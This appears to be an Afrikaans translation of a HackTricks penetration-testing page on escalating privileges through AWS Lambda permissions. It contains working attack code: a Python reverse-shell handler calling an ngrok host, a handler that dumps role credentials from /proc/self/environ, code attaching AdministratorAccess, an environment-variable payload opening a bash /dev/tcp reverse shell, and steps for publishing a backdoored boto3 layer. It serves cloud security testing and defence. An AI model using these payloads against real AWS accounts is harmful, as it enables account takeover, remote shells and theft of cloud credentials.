13 KiB
AWS - Lambda Privesc
{{#include ../../../banners/hacktricks-training.md}}
lambda
Meer inligting oor lambda in:
{{#ref}} ../aws-services/aws-lambda-enum.md {{#endref}}
iam:PassRole, lambda:CreateFunction, (lambda:InvokeFunction | lambda:InvokeFunctionUrl)
Gebruikers met die iam:PassRole, lambda:CreateFunction, en lambda:InvokeFunction toestemmings kan hul bevoegdhede verhoog.
Hulle kan 'n nuwe Lambda-funksie skep en dit 'n bestaande IAM-rol toewys, wat die funksie die toestemmings verleen wat met daardie rol geassosieer word. Die gebruiker kan dan kode skryf en oplaai na hierdie Lambda-funksie (met 'n rev shell byvoorbeeld).
Sodra die funksie opgestel is, kan die gebruiker die uitvoering daarvan aktiveer en die beoogde aksies deur die Lambda-funksie deur die AWS API aan te roep. Hierdie benadering stel die gebruiker effektief in staat om take indirek deur die Lambda-funksie uit te voer, werkend met die toegangsvlak wat aan die IAM-rol gegee is.\
'n Aanvaller kan dit misbruik om 'n rev shell te kry en die token te steel:
import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
# Zip the rev shell
zip "rev.zip" "rev.py"
# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip
# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL
# List roles
aws iam list-attached-user-policies --user-name <user-name>
Jy kan ook die lambda rol toestemmings misbruik van die lambda funksie self.
As die lambda rol genoeg toestemmings gehad het, kan jy dit gebruik om admin regte aan jouself toe te ken:
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
Dit is ook moontlik om die lambda se rol geloofsbriewe te lek sonder om 'n eksterne verbinding te benodig. Dit sou nuttig wees vir Netwerk-isoleerde Lambdas wat op interne take gebruik word. As daar onbekende sekuriteitsgroepe is wat jou omgekeerde skulpies filter, sal hierdie stuk kode jou toelaat om die geloofsbriewe direk as die uitvoer van die lambda te lek.
def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt
Potensiële Impak: Direkte privesc na die arbitrêre lambda diensrol wat gespesifiseer is.
Caution
Let daarop dat selfs al lyk dit interessant
lambda:InvokeAsyncnie op sy eie toelaat omaws lambda invoke-asyncuit te voer nie, jy het ooklambda:InvokeFunctionnodig.
iam:PassRole, lambda:CreateFunction, lambda:AddPermission
Soos in die vorige scenario, kan jy jouself die lambda:InvokeFunction toestemming gee as jy die toestemming lambda:AddPermission het.
# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
Potensiële Impak: Direkte privesc na die arbitrêre lambda diensrol wat gespesifiseer is.
iam:PassRole, lambda:CreateFunction, lambda:CreateEventSourceMapping
Gebruikers met iam:PassRole, lambda:CreateFunction, en lambda:CreateEventSourceMapping toestemmings (en moontlik dynamodb:PutItem en dynamodb:CreateTable) kan indirek privileges verhoog selfs sonder lambda:InvokeFunction.
Hulle kan 'n Lambda-funksie met kwaadwillige kode skep en dit 'n bestaande IAM-rol toewys.
In plaas daarvan om die Lambda direk aan te roep, stel die gebruiker 'n bestaande DynamoDB-tabel op of gebruik dit, en koppel dit aan die Lambda deur 'n gebeurtenisbron-mapping. Hierdie opstelling verseker dat die Lambda-funksie automaties geaktiveer word by 'n nuwe item invoer in die tabel, hetsy deur die gebruiker se aksie of 'n ander proses, en roep dus indirek die Lambda-funksie aan en voer die kode uit met die toestemmings van die oorgedraagde IAM-rol.
aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip
As DynamoDB reeds aktief is in die AWS-omgewing, moet die gebruiker net die gebeurtenisbronkaart vir die Lambda-funksie opstel. As DynamoDB egter nie in gebruik is nie, moet die gebruiker nuwe tabel met streaming geaktiveer skep:
aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
Nou is dit moontlik om die Lambda-funksie aan die DynamoDB-tabel te koppel deur 'n gebeurtenisbronkaart te skep:
aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST
Met die Lambda-funksie wat aan die DynamoDB-stroom gekoppel is, kan die aanvaller indirek die Lambda aktiveer deur die DynamoDB-stroom te aktiveer. Dit kan bereik word deur 'n item in die DynamoDB-tabel in te voeg:
aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}
Potensiële Impak: Direkte privesc na die lambda diensrol wat gespesifiseer is.
lambda:AddPermission
'n Aanvaller met hierdie toestemming kan homself (of ander) enige toestemmings gee (dit genereer hulpbron-gebaseerde beleide om toegang tot die hulpbron te verleen):
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout
Potensiële Impak: Direkte privesc na die lambda diensrol wat gebruik word deur toestemming te gee om die kode te wysig en dit uit te voer.
lambda:AddLayerVersionPermission
'n Aanvaller met hierdie toestemming kan homself (of ander) die toestemming lambda:GetLayerVersion gee. Hy kan toegang tot die laag verkry en soek na kwesbaarhede of sensitiewe inligting.
# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
Potensiële Impak: Potensiële toegang tot sensitiewe inligting.
lambda:UpdateFunctionCode
Gebruikers wat die lambda:UpdateFunctionCode toestemming het, het die potensiaal om die kode van 'n bestaande Lambda-funksie wat aan 'n IAM-rol gekoppel is, te wysig.
Die aanvaller kan die kode van die lambda wysig om die IAM-akkrediteerings te eksfiltreer.
Alhoewel die aanvaller dalk nie die direkte vermoë het om die funksie aan te roep nie, as die Lambda-funksie reeds bestaan en operasioneel is, is dit waarskynlik dat dit geaktiveer sal word deur bestaande werksvloei of gebeurtenisse, wat dus indirek die uitvoering van die gewysigde kode fasiliteer.
# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip
# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt
# If not check if it's exposed in any URL or via an API gateway you could access
Potensiële Impak: Direkte privesc na die lambda diensrol wat gebruik word.
lambda:UpdateFunctionConfiguration
RCE via omgewing veranderlikes
Met hierdie toestemmings is dit moontlik om omgewing veranderlikes by te voeg wat die Lambda sal laat uitvoer willekeurige kode. Byvoorbeeld, in python is dit moontlik om die omgewing veranderlikes PYTHONWARNING en BROWSER te misbruik om 'n python proses willekeurige opdragte te laat uitvoer:
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
Vir ander skripting tale is daar ander omgewingsveranderlikes wat jy kan gebruik. Vir meer inligting, kyk na die subafdelings van skripting tale in:
{{#ref}} https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html {{#endref}}
RCE via Lambda Layers
Lambda Layers laat jou toe om kode in jou lamdba funksie in te sluit, maar dit apart te stoor, sodat die funksiekode klein kan bly en verskeie funksies kode kan deel.
Binne lambda kan jy die paaie nagaan waarvandaan python kode gelaai word met 'n funksie soos die volgende:
import json
import sys
def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))
Hierdie is die plekke:
- /var/task
- /opt/python/lib/python3.7/site-packages
- /opt/python
- /var/runtime
- /var/lang/lib/python37.zip
- /var/lang/lib/python3.7
- /var/lang/lib/python3.7/lib-dynload
- /var/lang/lib/python3.7/site-packages
- /opt/python/lib/python3.7/site-packages
- /opt/python
Byvoorbeeld, die biblioteek boto3 word gelaai vanaf /var/runtime/boto3 (4de posisie).
Exploitatie
Dit is moontlik om die toestemming lambda:UpdateFunctionConfiguration te misbruik om 'n nuwe laag by 'n lambda-funksie te voeg. Om arbitrêre kode uit te voer, moet hierdie laag 'n biblioteek bevat wat die lambda gaan invoer. As jy die kode van die lambda kan lees, kan jy dit maklik vind, let ook daarop dat dit moontlik is dat die lambda reeds 'n laag gebruik en jy kan die laag aflaai en jou kode daarby voeg.
Byvoorbeeld, kom ons veronderstel dat die lambda die biblioteek boto3 gebruik, dit sal 'n plaaslike laag skep met die laaste weergawe van die biblioteek:
pip3 install -t ./lambda_layer boto3
U kan ./lambda_layer/boto3/__init__.py oopmaak en die agterdeur in die globale kode voeg ('n funksie om akrediteerbare inligting te eksfiltreer of 'n omgekeerde skulp te kry, byvoorbeeld).
Zip dan daardie ./lambda_layer gids en laai die nuwe lambda-laag op in u eie rekening (of in die slagoffers een, maar u mag dalk nie toestemmings hiervoor hê nie).
Let daarop dat u 'n python-gids moet skep en die biblioteke daarin moet plaas om /opt/python/boto3 te oorskry. Ook moet die laag kompatibel wees met die python weergawe wat deur die lambda gebruik word, en as u dit na u rekening oplaai, moet dit in die dieselfde streek wees:
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
Maak die opgelaaide lambda-laag toeganklik vir enige rekening:
aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *
En heg die lambda-laag aan die slagoffer lambda-funksie:
aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells
Die volgende stap sal wees om of die funksie self aan te roep as ons kan of om te wag totdat dit aangeroep word deur normale middele – wat die veiliger metode is.
'n Meer stealth manier om hierdie kwesbaarheid te benut kan gevind word in:
{{#ref}} ../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md {{#endref}}
Potensiële Impak: Direkte privesc na die lambda diensrol wat gebruik word.
iam:PassRole, lambda:CreateFunction, lambda:CreateFunctionUrlConfig, lambda:InvokeFunctionUrl
Miskien met daardie toestemmings kan jy 'n funksie skep en dit uitvoer deur die URL aan te roep... maar ek kon nie 'n manier vind om dit te toets nie, so laat weet my as jy dit doen!
Lambda MitM
Sommige lambdas gaan sensitiewe inligting van die gebruikers in parameters ontvang. As jy RCE in een van hulle kry, kan jy die inligting wat ander gebruikers na dit stuur, uitvange, kyk dit in:
{{#ref}} ../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md {{#endref}}
Verwysings
- https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
- https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/
{{#include ../../../banners/hacktricks-training.md}}